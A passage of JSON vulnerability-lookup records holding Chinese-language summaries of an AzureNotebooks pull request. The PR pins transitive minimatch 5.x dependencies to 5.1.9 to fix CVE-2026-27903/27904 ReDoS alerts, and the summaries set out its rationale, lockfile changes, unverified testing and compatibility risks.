\u4e2d\u5c55\u793a\u7684\u76ee\u6807 `minimatch` \u8282\u70b9\u5747\u66f4\u65b0\u4e3a 5.1.9\u3002\n- \u793a\u4f8b\u9879\u76ee\u4e2d `glob` \u4e0e `mocha` \u7684\u76f8\u5173\u4f9d\u8d56\u7ea6\u675f\u548c\u9501\u5b9a\u8282\u70b9\u540c\u6b65\u66f4\u65b0\u3002\n- Tinylicious v2 \u4e2d `mocha` \u7684\u9501\u5b9a\u8282\u70b9\u540c\u6b65\u66f4\u65b0\u3002\n\n\u5408\u5165\u524d\u5e94\u91cd\u70b9\u6267\u884c\u5404\u5b50\u9879\u76ee\u65e2\u6709\u7684\u4f9d\u8d56\u5b89\u88c5\u3001\u6784\u5efa\u548c\u6d4b\u8bd5\u6d41\u7a0b\uff0c\u5e76\u91cd\u65b0\u8fd0\u884c Component Governance \u626b\u63cf\uff0c\u786e\u8ba4 4 \u4e2a\u544a\u8b66\u5747\u5173\u95ed\u4e14\u672a\u5f15\u5165\u65b0\u7684\u4f9d\u8d56\u51b2\u7a81\u3002\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\n\n| \u98ce\u9669\u6216\u5173\u6ce8\u70b9 | \u5177\u4f53\u5f71\u54cd | \u98ce\u9669\u5224\u65ad |\n|---|---|---|\n| \u4f20\u9012\u4f9d\u8d56\u5f3a\u5236\u8986\u76d6 | `glob`\u3001`mocha` \u5b9e\u9645\u4f7f\u7528\u7684\u7248\u672c\u4e0d\u518d\u5b8c\u5168\u7531\u5176\u81ea\u8eab\u4f9d\u8d56\u8303\u56f4\u51b3\u5b9a\uff1b\u82e5\u67d0\u4e2a\u8c03\u7528\u4f9d\u8d56 5.1.8 \u4e4b\u524d\u7684\u975e\u9884\u671f\u884c\u4e3a\uff0c\u53ef\u80fd\u51fa\u73b0\u5de5\u5177\u94fe\u56de\u5f52\u3002 | \u8f83\u4f4e\uff1a\u53d8\u66f4\u4ecd\u4f4d\u4e8e 5.x \u4e3b\u7248\u672c\u5185\uff0c\u4e14\u9501\u5b9a\u5230 5.1.9\u3002 |\n| \u5305\u7ba1\u7406\u5668\u517c\u5bb9\u6027 | `resolutions` \u4e0e `overrides` \u7684\u652f\u6301\u8303\u56f4\u548c\u8bed\u4e49\u53d6\u51b3\u4e8e\u5b9e\u9645\u4f7f\u7528\u7684\u5305\u7ba1\u7406\u5668\u53ca\u7248\u672c\u3002 | \u4e2d\u7b49\uff1a\u793a\u4f8b\u9879\u76ee\u540c\u65f6\u914d\u7f6e\u4e24\u79cd\u673a\u5236\uff1bTinylicious \u6587\u4ef6\u7247\u6bb5\u53ea\u663e\u793a\u65b0\u589e\u4e8e\u73b0\u6709\u914d\u7f6e\u4e2d\uff0c\u5206\u6790\u5305\u672a\u63d0\u4f9b\u5305\u7ba1\u7406\u5668\u7248\u672c\u3002 |\n| \u63d2\u5165\u7b26\u7248\u672c\u8303\u56f4 | `^5.1.8` \u5728\u672a\u6765\u91cd\u65b0\u89e3\u6790\u9501\u6587\u4ef6\u65f6\u53ef\u80fd\u9009\u62e9\u6bd4 5.1.9 \u66f4\u65b0\u7684 5.x \u7248\u672c\u3002 | \u8f83\u4f4e\u81f3\u4e2d\u7b49\uff1a\u5f53\u524d\u9501\u6587\u4ef6\u56fa\u5b9a\u4e3a 5.1.9\uff0c\u4f46\u91cd\u65b0\u751f\u6210\u9501\u6587\u4ef6\u53ef\u80fd\u6269\u5927\u5b9e\u9645\u53d8\u66f4\u3002 |\n| \u9501\u6587\u4ef6\u9644\u5e26\u53d8\u5316 | \u793a\u4f8b\u9501\u6587\u4ef6\u589e\u52a0\u591a\u4e2a\u7a7a `requires` \u5bf9\u8c61\uff0c\u6269\u5927\u4e86\u5ba1\u9605\u566a\u58f0\u3002 | \u8f83\u4f4e\uff1a\u5305\u5185\u5dee\u5f02\u672a\u663e\u793a\u65b0\u589e\u4f9d\u8d56\uff0c\u4f46\u5e94\u4f7f\u7528\u4ed3\u5e93\u6807\u51c6\u5305\u7ba1\u7406\u5668\u786e\u8ba4\u9501\u6587\u4ef6\u53ef\u7a33\u5b9a\u91cd\u73b0\u3002 |\n| \u5185\u90e8\u6e90\u53ef\u7528\u6027 | \u65b0\u9501\u5b9a\u5305\u6765\u81ea AzureNotebooksEntry \u5185\u90e8 npm registry\uff1b\u6784\u5efa\u73af\u5883\u5fc5\u987b\u6709\u6743\u9650\u8bbf\u95ee\u5bf9\u5e94 5.1.9 \u5236\u54c1\u3002 | \u8f83\u4f4e\uff1a\u65e7\u7248\u672c\u4e5f\u4f7f\u7528\u540c\u4e00\u5185\u90e8\u6e90\uff0c\u4f46\u5206\u6790\u5305\u4e0d\u5305\u542b\u5b9e\u9645\u5b89\u88c5\u9a8c\u8bc1\u3002 |\n| \u8fd0\u884c\u65f6\u5f71\u54cd\u8fb9\u754c | \u53ef\u89c1\u53d7\u5f71\u54cd\u8def\u5f84\u4e3b\u8981\u4f4d\u4e8e `glob` \u548c `mocha` \u7b49\u5f00\u53d1\u5de5\u5177\u94fe\uff0c\u4f46\u5206\u6790\u5305\u672a\u63d0\u4f9b\u5b8c\u6574\u4f9d\u8d56\u7528\u9014\u8bf4\u660e\u3002 | \u8f83\u4f4e\uff1a\u4e0d\u80fd\u4ec5\u51ed\u7247\u6bb5\u65ad\u8a00\u6240\u6709\u5f15\u7528\u90fd\u53ea\u5728\u6d4b\u8bd5\u6216\u6784\u5efa\u65f6\u6267\u884c\u3002 |\n\n## \u5f71\u54cd\u5206\u6790\n\n### \u5b89\u5168\u6027\n\n\u6838\u5fc3\u6536\u76ca\u662f\u907f\u514d\u4e24\u4e2a\u5b89\u88c5\u6839\u76ee\u5f55\u7ee7\u7eed\u89e3\u6790\u5230\u5305\u5185\u663e\u793a\u7684 `minimatch` 5.1.0 \u548c 5.1.6\uff0c\u4ece\u4f9d\u8d56\u5c42\u7f13\u89e3 CVE-2026-27903 / CVE-2026-27904 \u5bf9\u5e94\u7684 ReDoS \u544a\u8b66\u3002PR \u63cf\u8ff0\u79f0\u6b64\u6b21\u53d8\u66f4\u7528\u4e8e\u4fee\u590d 4 \u4e2a Component Governance \u544a\u8b66\u3002\n\n### \u529f\u80fd\u884c\u4e3a\n\n\u6ca1\u6709\u5e94\u7528\u4e1a\u52a1\u903b\u8f91\u3001API\u3001\u914d\u7f6e\u683c\u5f0f\u6216\u6570\u636e\u6a21\u578b\u7684\u76f4\u63a5\u4fee\u6539\u3002\u6f5c\u5728\u884c\u4e3a\u53d8\u5316\u96c6\u4e2d\u5728\u4f9d\u8d56 `minimatch` \u7684\u6587\u4ef6\u8def\u5f84\u5339\u914d\u64cd\u4f5c\uff0c\u5c24\u5176\u662f `glob` \u548c\u6d4b\u8bd5\u5de5\u5177 `mocha` \u7684\u4f20\u9012\u8c03\u7528\u3002\u7531\u4e8e\u662f\u540c\u4e00\u4e3b\u7248\u672c\u5185\u7684\u66f4\u65b0\uff0c\u9884\u671f\u517c\u5bb9\u6027\u5f71\u54cd\u6709\u9650\uff0c\u4f46\u4ecd\u9700\u901a\u8fc7\u73b0\u6709\u6d4b\u8bd5\u786e\u8ba4\u590d\u6742 glob \u6a21\u5f0f\u7684\u884c\u4e3a\u6ca1\u6709\u56de\u5f52\u3002\n\n### \u6784\u5efa\u4e0e\u5f00\u53d1\u6d41\u7a0b\n\n\u4e24\u4e2a\u5b50\u9879\u76ee\u7684\u4f9d\u8d56\u89e3\u6790\u7ed3\u679c\u53d1\u751f\u53d8\u5316\u3002\u4f7f\u7528\u9501\u6587\u4ef6\u5b89\u88c5\u65f6\u4f1a\u83b7\u53d6 5.1.9\uff1b\u5220\u9664\u6216\u91cd\u65b0\u751f\u6210\u9501\u6587\u4ef6\u65f6\uff0c`^5.1.8` \u53ef\u80fd\u9009\u62e9\u66f4\u65b0\u7684\u517c\u5bb9 5.x \u7248\u672c\u3002\u793a\u4f8b\u9879\u76ee\u540c\u65f6\u7ef4\u62a4 `resolutions` \u548c `overrides`\uff0c\u9700\u8981\u786e\u4fdd\u4ed3\u5e93\u5b9e\u9645\u5b89\u88c5\u547d\u4ee4\u4e0d\u4f1a\u5ffd\u7565\u6216\u62d2\u7edd\u5176\u4e2d\u4efb\u4e00\u914d\u7f6e\u3002\n\n### \u90e8\u7f72\u4e0e\u8fd0\u7ef4\n\n\u5206\u6790\u5305\u6ca1\u6709\u663e\u793a\u90e8\u7f72\u6e05\u5355\u3001\u670d\u52a1\u914d\u7f6e\u6216\u57fa\u7840\u8bbe\u65bd\u53d8\u66f4\u3002\u82e5\u8fd9\u4e9b\u4f9d\u8d56\u4ec5\u7528\u4e8e\u5f00\u53d1\u4e0e\u6d4b\u8bd5\uff0c\u5219\u751f\u4ea7\u90e8\u7f72\u5f71\u54cd\u5e94\u8f83\u5c0f\uff1b\u4f46\u5305\u5185\u4fe1\u606f\u4e0d\u8db3\u4ee5\u786e\u8ba4\u6700\u7ec8\u751f\u4ea7\u5236\u54c1\u662f\u5426\u5305\u542b\u76f8\u5173\u4f9d\u8d56\uff0c\u56e0\u6b64\u4e0d\u5e94\u65ad\u8a00\u751f\u4ea7\u73af\u5883\u5b8c\u5168\u4e0d\u53d7\u5f71\u54cd\u3002\n\n## \u5dee\u5f02\u8986\u76d6\u8303\u56f4\n\n\u5206\u6790\u5305\u62a5\u544a\uff1a\n\n- `diffMethod` \u4e3a `git-local`\u3002\n- \u603b\u5dee\u5f02\u5927\u5c0f\u4e3a 8,593 \u5b57\u8282\uff0c\u4f4e\u4e8e\u5305\u4e2d\u8bb0\u5f55\u7684\u603b\u4e0a\u9650 524,288 \u5b57\u8282\u3002\n- 4 \u4e2a\u53d8\u66f4\u6587\u4ef6\u5747\u5305\u542b\u5dee\u5f02\uff0c\u4e14\u6bcf\u4e2a\u6587\u4ef6\u7684 `truncated` \u5747\u4e3a `false`\u3002\n- \u5168\u5c40 `diffTruncated` \u4e3a `false`\u3002\n- `errors` \u548c `warnings` \u5747\u4e3a\u7a7a\u3002\n\n\u56e0\u6b64\uff0c\u672c\u8bf4\u660e\u8986\u76d6\u4e86\u5206\u6790\u5305\u4e2d\u63d0\u4f9b\u7684\u5168\u90e8 4 \u4e2a\u6587\u4ef6\u5dee\u5f02\uff0c\u6ca1\u6709\u5df2\u77e5\u7684\u622a\u65ad\u6587\u4ef6\u3002\u8be5\u7ed3\u8bba\u4ec5\u9002\u7528\u4e8e\u5bfc\u51fa\u7684 PR \u5dee\u5f02\u5185\u5bb9\uff1b\u5206\u6790\u5305\u672a\u5305\u542b\u5b8c\u6574\u6587\u4ef6\u3001\u5b8c\u6574\u4f9d\u8d56\u6811\u3001\u6d4b\u8bd5\u65e5\u5fd7\u3001\u6d41\u6c34\u7ebf\u7ed3\u679c\u6216\u8fd0\u884c\u65f6\u8c03\u7528\u8def\u5f84\uff0c\u56e0\u6b64\u672c\u6587\u672a\u5bf9\u8fd9\u4e9b\u7f3a\u5931\u5185\u5bb9\u4f5c\u8fdb\u4e00\u6b65\u65ad\u8a00\u3002\n", "creation_timestamp": "2026-08-31T00:22:43.397280Z"}, {"uuid": "2db07a47-3938-4a59-be09-dc08c354ea38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://gist.github.com/djlan/d61f90555b5cc4da11baf7b4d8175b48", "content": "# [SECURITY][SFI] \u4fee\u590d minimatch \u6f0f\u6d1e\uff08CVE-2026-27903 / CVE-2026-27904\uff09\n\n> **\u4e00\u53e5\u8bdd\u603b\u7ed3\uff1a** \u6b64 PR \u5728\u4e24\u4e2a Node.js \u5b50\u9879\u76ee\u4e2d\u7ea6\u675f `minimatch` 5.x \u7684\u4f20\u9012\u4f9d\u8d56\u7248\u672c\uff0c\u5e76\u5c06\u9501\u5b9a\u7ed3\u679c\u66f4\u65b0\u5230 5.1.9\uff0c\u4ee5\u6d88\u9664 Component Governance \u62a5\u544a\u7684 ReDoS \u98ce\u9669\uff0c\u540c\u65f6\u4fdd\u7559\u73b0\u6709 `minimatch` 3.x \u4fee\u590d\u89c4\u5219\u3002\n\n| \u9879\u76ee | \u5185\u5bb9 |\n|---|---|\n| PR | [766464](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464) |\n| \u4f5c\u8005 | Agency |\n| \u72b6\u6001 | Active\uff1b\u975e\u8349\u7a3f\uff1b\u5408\u5e76\u72b6\u6001\u4e3a `succeeded` |\n| \u5206\u652f | `copilot/api-690bd71d-8fe3bc50` \u2192 `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-05 09:51:20 |\n| \u63d0\u4ea4 | 1 \u4e2a |\n| \u8fed\u4ee3 | 2 \u4e2a |\n| \u53d8\u66f4\u7edf\u8ba1 | 4 \u4e2a\u6587\u4ef6\uff0c\u65b0\u589e 39 \u884c\u3001\u5220\u9664 27 \u884c |\n\n## \u76ee\u5f55\n\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u529f\u80fd\u6a21\u5757\u4e00\uff1aHello World \u8f93\u51fa\u6e32\u67d3\u5668\u793a\u4f8b](#\u529f\u80fd\u6a21\u5757\u4e00hello-world-\u8f93\u51fa\u6e32\u67d3\u5668\u793a\u4f8b)\n- [\u529f\u80fd\u6a21\u5757\u4e8c\uff1aTinylicious v2 \u534f\u4f5c\u670d\u52a1](#\u529f\u80fd\u6a21\u5757\u4e8ctinylicious-v2-\u534f\u4f5c\u670d\u52a1)\n- [\u5b9e\u73b0\u673a\u5236](#\u5b9e\u73b0\u673a\u5236)\n- [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1)\n- [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n- [\u5dee\u5f02\u8986\u76d6\u8303\u56f4](#\u5dee\u5f02\u8986\u76d6\u8303\u56f4)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u8be5 PR \u9488\u5bf9 `minimatch` \u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\uff08ReDoS\uff09\u6f0f\u6d1e\u8fdb\u884c\u4f9d\u8d56\u6cbb\u7406\u3002PR \u63cf\u8ff0\u5217\u51fa\u4e86 4 \u4e2a Component Governance \u544a\u8b66\uff0c\u5206\u522b\u6d89\u53ca CVE-2026-27903 \u548c CVE-2026-27904\uff1b\u63d0\u4ea4\u8bf4\u660e\u8868\u660e\u5904\u7406\u65b9\u5f0f\u662f\u5c06\u4f20\u9012\u4f9d\u8d56\u4e2d\u7684 `minimatch@5` \u7ea6\u675f\u4e3a `^5.1.8`\u3002\n\n\u53d8\u66f4\u6ca1\u6709\u4fee\u6539\u4e1a\u52a1\u4ee3\u7801\uff0c\u800c\u662f\u5728\u4e24\u4e2a\u72ec\u7acb\u7684 Node.js \u5b50\u9879\u76ee\u4e2d\uff1a\n\n1. \u5728 `package.json` \u4e2d\u589e\u52a0 `minimatch@5` \u7684\u4f9d\u8d56\u8986\u76d6\u89c4\u5219\uff0c\u963b\u6b62\u4f9d\u8d56\u6811\u7ee7\u7eed\u89e3\u6790\u5230\u5b58\u5728\u544a\u8b66\u7684\u65e7 5.x \u7248\u672c\u3002\n2. \u91cd\u65b0\u751f\u6210\u6216\u66f4\u65b0 `package-lock.json`\uff0c\u4f7f\u5f53\u524d\u53ef\u590d\u73b0\u5b89\u88c5\u7ed3\u679c\u5b9e\u9645\u843d\u5230 `minimatch` 5.1.9\u3002\n3. \u4fdd\u7559\u65e2\u6709\u7684 `minimatch@3: ^3.1.4` \u89c4\u5219\uff0c\u56e0\u6b64 3.x \u4e0e 5.x \u4e24\u6761\u4f9d\u8d56\u7ebf\u5206\u522b\u53d7\u63a7\uff0c\u4e0d\u4f1a\u7528\u4e00\u4e2a\u4e3b\u7248\u672c\u5f3a\u884c\u66ff\u4ee3\u53e6\u4e00\u4e2a\u4e3b\u7248\u672c\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1aHello World \u8f93\u51fa\u6e32\u67d3\u5668\u793a\u4f8b\n\n\u6d89\u53ca\u6587\u4ef6\uff1a\n\n- [`sample/aznb-helloworld-output-renderer/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/sample/aznb-helloworld-output-renderer/package.json&_a=files)\n- [`sample/aznb-helloworld-output-renderer/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/sample/aznb-helloworld-output-renderer/package-lock.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\n\u8be5\u793a\u4f8b\u7684\u5f00\u53d1\u5de5\u5177\u94fe\u901a\u8fc7 `glob` \u548c `mocha` \u95f4\u63a5\u5f15\u5165\u4e86 `minimatch` 5.x\u3002\u539f\u9501\u6587\u4ef6\u4e2d\u53ef\u89c1\u4e24\u6761\u65e7\u7248\u672c\u8def\u5f84\uff1a\n\n- `glob` \u5d4c\u5957\u4f9d\u8d56\u4f7f\u7528 5.1.0\u3002\n- `mocha` \u5d4c\u5957\u4f9d\u8d56\u4f7f\u7528 5.1.6\u3002\n\n\u4ec5\u66f4\u65b0\u9876\u5c42\u76f4\u63a5\u4f9d\u8d56\u65e0\u6cd5\u53ef\u9760\u4fee\u590d\u8fd9\u7c7b\u4f20\u9012\u4f9d\u8d56\uff0c\u56e0\u6b64\u9700\u8981\u5728\u5305\u7ba1\u7406\u914d\u7f6e\u5c42\u663e\u5f0f\u8986\u76d6\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n`package.json` \u540c\u65f6\u5728 `resolutions` \u548c `overrides` \u4e2d\u52a0\u5165 `minimatch@5: ^5.1.8`\uff1a\n\n- `resolutions` \u4e3a\u652f\u6301\u8be5\u673a\u5236\u7684\u5b89\u88c5\u6d41\u7a0b\u63d0\u4f9b\u7edf\u4e00\u89e3\u6790\u7ea6\u675f\u3002\n- `overrides` \u4e3a npm \u7684\u4f20\u9012\u4f9d\u8d56\u8986\u76d6\u673a\u5236\u63d0\u4f9b\u540c\u7b49\u7ea6\u675f\u3002\n- \u540c\u65f6\u914d\u7f6e\u4e24\u5904\u4e0e\u8be5\u6587\u4ef6\u5df2\u6709\u7684 `minimatch@3` \u5904\u7406\u65b9\u5f0f\u4e00\u81f4\uff0c\u53ef\u8986\u76d6\u8be5\u5b50\u9879\u76ee\u53ef\u80fd\u91c7\u7528\u7684\u4e0d\u540c\u5305\u7ba1\u7406\u5b89\u88c5\u8def\u5f84\u3002\n\n\u9501\u6587\u4ef6\u968f\u540e\u628a `glob` \u548c `mocha` \u4e0b\u7684 `minimatch` \u90fd\u89e3\u6790\u4e3a 5.1.9\uff0c\u5e76\u540c\u6b65\u66f4\u65b0\u5305\u5730\u5740\u3001\u5b8c\u6574\u6027\u54c8\u5e0c\u548c\u8bb8\u53ef\u8bc1\u5143\u6570\u636e\u3002\u9501\u6587\u4ef6\u4e2d `glob`\u3001`mocha` \u5bf9 `minimatch` \u7684\u58f0\u660e\u4e5f\u4ece\u65e7\u7ea6\u675f\u63d0\u5347\u5230 `^5.1.8`\uff0c\u4ece\u800c\u8ba9\u58f0\u660e\u7ea6\u675f\u548c\u6700\u7ec8\u9501\u5b9a\u7248\u672c\u4fdd\u6301\u4e00\u81f4\u3002\n\n\u6b64\u5916\uff0c\u9501\u6587\u4ef6\u4e3a\u82e5\u5e72\u5df2\u6709\u5305\u8865\u5145\u4e86\u7a7a\u7684 `requires` \u5bf9\u8c61\u3002\u8fd9\u4e9b\u6761\u76ee\u4e0d\u589e\u52a0\u65b0\u4f9d\u8d56\uff0c\u8868\u73b0\u4e3a\u5305\u7ba1\u7406\u5668\u91cd\u5199\u9501\u6587\u4ef6\u65f6\u4ea7\u751f\u7684\u7ed3\u6784\u5316\u5143\u6570\u636e\u53d8\u5316\uff1b\u5206\u6790\u5305\u6ca1\u6709\u63d0\u4f9b\u8bc1\u636e\u8868\u660e\u5b83\u4eec\u4f1a\u6539\u53d8\u8fd0\u884c\u884c\u4e3a\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1aTinylicious v2 \u534f\u4f5c\u670d\u52a1\n\n\u6d89\u53ca\u6587\u4ef6\uff1a\n\n- [`src/service/aznb/AzNB.Collab/tinylicious-v2/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/src/service/aznb/AzNB.Collab/tinylicious-v2/package.json&_a=files)\n- [`src/service/aznb/AzNB.Collab/tinylicious-v2/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766464?path=/src/service/aznb/AzNB.Collab/tinylicious-v2/package-lock.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\n\u8be5\u670d\u52a1\u7684 `mocha` \u4f9d\u8d56\u6811\u9501\u5b9a\u4e86 `minimatch` 5.1.6\uff0c\u56e0\u6b64\u540c\u6837\u5904\u4e8e\u672c\u6b21\u5b89\u5168\u544a\u8b66\u7684\u6cbb\u7406\u8303\u56f4\u3002\u7531\u4e8e\u5b83\u662f\u53e6\u4e00\u4e2a\u72ec\u7acb\u7684 Node.js \u5b89\u88c5\u6839\u76ee\u5f55\uff0c\u793a\u4f8b\u9879\u76ee\u4e2d\u7684\u8986\u76d6\u89c4\u5219\u4e0d\u4f1a\u81ea\u52a8\u4f5c\u7528\u4e8e\u6b64\u5904\uff0c\u5fc5\u987b\u5355\u72ec\u4fee\u6539\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n\u8be5\u6a21\u5757\u5728\u73b0\u6709\u8986\u76d6\u914d\u7f6e\u4e2d\u65b0\u589e `minimatch@5: ^5.1.8`\uff0c\u5e76\u4fdd\u7559 `minimatch@3: ^3.1.4`\u3002\u5bf9\u5e94\u9501\u6587\u4ef6\u5c06 `mocha` \u4e0b\u7684 `minimatch` \u4ece 5.1.6 \u66f4\u65b0\u4e3a 5.1.9\uff0c\u540c\u65f6\u66f4\u65b0\u4e0b\u8f7d\u5730\u5740\u548c\u5b8c\u6574\u6027\u54c8\u5e0c\u3002\n\n\u8fd9\u4f7f\u5168\u65b0\u5b89\u88c5\u548c\u57fa\u4e8e\u9501\u6587\u4ef6\u7684\u53ef\u590d\u73b0\u5b89\u88c5\u90fd\u4e0d\u518d\u4f7f\u7528\u5305\u5185\u53ef\u89c1\u7684\u65e7 5.x \u7248\u672c\uff0c\u540c\u65f6\u907f\u514d\u6539\u53d8\u4ecd\u8981\u6c42 3.x API \u7684\u4f9d\u8d56\u94fe\u3002\n\n## \u5b9e\u73b0\u673a\u5236\n\n\u672c\u6b21\u4fee\u590d\u91c7\u7528\u201c\u4e3b\u7248\u672c\u5b9a\u5411\u8986\u76d6 + \u9501\u6587\u4ef6\u56fa\u5316\u201d\u7684\u65b9\u5f0f\uff1a\n\n1. `minimatch@5` \u9009\u62e9\u5668\u53ea\u5f71\u54cd 5.x \u4f9d\u8d56\uff0c\u4e0d\u8de8\u4e3b\u7248\u672c\u6539\u5199 3.x \u4f9d\u8d56\u3002\n2. `^5.1.8` \u5141\u8bb8\u89e3\u6790 5.1.8 \u53ca\u517c\u5bb9\u7684\u540e\u7eed 5.x \u7248\u672c\u3002\n3. \u5f53\u524d\u9501\u6587\u4ef6\u5c06\u5b9e\u9645\u5b89\u88c5\u7248\u672c\u56fa\u5b9a\u4e3a 5.1.9\uff0c\u56e0\u6b64 CI \u548c\u5f00\u53d1\u73af\u5883\u5728\u9075\u5faa\u9501\u6587\u4ef6\u5b89\u88c5\u65f6\u5e94\u83b7\u5f97\u4e00\u81f4\u7248\u672c\u3002\n4. \u5185\u90e8 Azure Artifacts \u4e0b\u8f7d\u5730\u5740\u4e0e\u5b8c\u6574\u6027\u54c8\u5e0c\u968f\u7248\u672c\u540c\u6b65\u66f4\u65b0\uff0c\u4f7f\u5305\u7ba1\u7406\u5668\u80fd\u591f\u6821\u9a8c\u65b0\u5236\u54c1\u3002\n\n\u8fd9\u79cd\u65b9\u5f0f\u4e0d\u9700\u8981\u4fee\u6539 `glob`\u3001`mocha` \u6216\u5e94\u7528\u6e90\u7801\uff0c\u4fee\u590d\u9762\u96c6\u4e2d\u5728\u4f9d\u8d56\u89e3\u6790\u5c42\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\n\n\u5206\u6790\u5305\u4e2d**\u6ca1\u6709\u63d0\u4f9b\u6d4b\u8bd5\u547d\u4ee4\u3001\u6d4b\u8bd5\u7ed3\u679c\u3001\u6784\u5efa\u65e5\u5fd7\u6216\u6d41\u6c34\u7ebf\u9a8c\u8bc1\u7ed3\u679c**\uff0c\u56e0\u6b64\u4e0d\u80fd\u786e\u8ba4\u4e24\u4e2a\u5b50\u9879\u76ee\u662f\u5426\u5df2\u7ecf\u5b8c\u6210\u5b89\u88c5\u3001\u6784\u5efa\u3001\u5355\u5143\u6d4b\u8bd5\u6216\u8fd0\u884c\u65f6\u56de\u5f52\u9a8c\u8bc1\u3002\n\n\u4ece\u53d8\u66f4\u5185\u5bb9\u53ef\u4ee5\u786e\u8ba4\u7684\u9759\u6001\u4e00\u81f4\u6027\u5305\u62ec\uff1a\n\n- \u4e24\u4e2a `package.json` \u90fd\u52a0\u5165\u4e86 5.x \u8986\u76d6\u89c4\u5219\u3002\n- \u4e24\u4e2a `package-lock.json` \u4e2d\u5c55\u793a\u7684\u76ee\u6807 `minimatch` \u8282\u70b9\u5747\u66f4\u65b0\u4e3a 5.1.9\u3002\n- \u793a\u4f8b\u9879\u76ee\u4e2d `glob` \u4e0e `mocha` \u7684\u76f8\u5173\u4f9d\u8d56\u7ea6\u675f\u548c\u9501\u5b9a\u8282\u70b9\u540c\u6b65\u66f4\u65b0\u3002\n- Tinylicious v2 \u4e2d `mocha` \u7684\u9501\u5b9a\u8282\u70b9\u540c\u6b65\u66f4\u65b0\u3002\n\n\u5408\u5165\u524d\u5e94\u91cd\u70b9\u6267\u884c\u5404\u5b50\u9879\u76ee\u65e2\u6709\u7684\u4f9d\u8d56\u5b89\u88c5\u3001\u6784\u5efa\u548c\u6d4b\u8bd5\u6d41\u7a0b\uff0c\u5e76\u91cd\u65b0\u8fd0\u884c Component Governance \u626b\u63cf\uff0c\u786e\u8ba4 4 \u4e2a\u544a\u8b66\u5747\u5173\u95ed\u4e14\u672a\u5f15\u5165\u65b0\u7684\u4f9d\u8d56\u51b2\u7a81\u3002\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\n\n| \u98ce\u9669\u6216\u5173\u6ce8\u70b9 | \u5177\u4f53\u5f71\u54cd | \u98ce\u9669\u5224\u65ad |\n|---|---|---|\n| \u4f20\u9012\u4f9d\u8d56\u5f3a\u5236\u8986\u76d6 | `glob`\u3001`mocha` \u5b9e\u9645\u4f7f\u7528\u7684\u7248\u672c\u4e0d\u518d\u5b8c\u5168\u7531\u5176\u81ea\u8eab\u4f9d\u8d56\u8303\u56f4\u51b3\u5b9a\uff1b\u82e5\u67d0\u4e2a\u8c03\u7528\u4f9d\u8d56 5.1.8 \u4e4b\u524d\u7684\u975e\u9884\u671f\u884c\u4e3a\uff0c\u53ef\u80fd\u51fa\u73b0\u5de5\u5177\u94fe\u56de\u5f52\u3002 | \u8f83\u4f4e\uff1a\u53d8\u66f4\u4ecd\u4f4d\u4e8e 5.x \u4e3b\u7248\u672c\u5185\uff0c\u4e14\u9501\u5b9a\u5230 5.1.9\u3002 |\n| \u5305\u7ba1\u7406\u5668\u517c\u5bb9\u6027 | `resolutions` \u4e0e `overrides` \u7684\u652f\u6301\u8303\u56f4\u548c\u8bed\u4e49\u53d6\u51b3\u4e8e\u5b9e\u9645\u4f7f\u7528\u7684\u5305\u7ba1\u7406\u5668\u53ca\u7248\u672c\u3002 | \u4e2d\u7b49\uff1a\u793a\u4f8b\u9879\u76ee\u540c\u65f6\u914d\u7f6e\u4e24\u79cd\u673a\u5236\uff1bTinylicious \u6587\u4ef6\u7247\u6bb5\u53ea\u663e\u793a\u65b0\u589e\u4e8e\u73b0\u6709\u914d\u7f6e\u4e2d\uff0c\u5206\u6790\u5305\u672a\u63d0\u4f9b\u5305\u7ba1\u7406\u5668\u7248\u672c\u3002 |\n| \u63d2\u5165\u7b26\u7248\u672c\u8303\u56f4 | `^5.1.8` \u5728\u672a\u6765\u91cd\u65b0\u89e3\u6790\u9501\u6587\u4ef6\u65f6\u53ef\u80fd\u9009\u62e9\u6bd4 5.1.9 \u66f4\u65b0\u7684 5.x \u7248\u672c\u3002 | \u8f83\u4f4e\u81f3\u4e2d\u7b49\uff1a\u5f53\u524d\u9501\u6587\u4ef6\u56fa\u5b9a\u4e3a 5.1.9\uff0c\u4f46\u91cd\u65b0\u751f\u6210\u9501\u6587\u4ef6\u53ef\u80fd\u6269\u5927\u5b9e\u9645\u53d8\u66f4\u3002 |\n| \u9501\u6587\u4ef6\u9644\u5e26\u53d8\u5316 | \u793a\u4f8b\u9501\u6587\u4ef6\u589e\u52a0\u591a\u4e2a\u7a7a `requires` \u5bf9\u8c61\uff0c\u6269\u5927\u4e86\u5ba1\u9605\u566a\u58f0\u3002 | 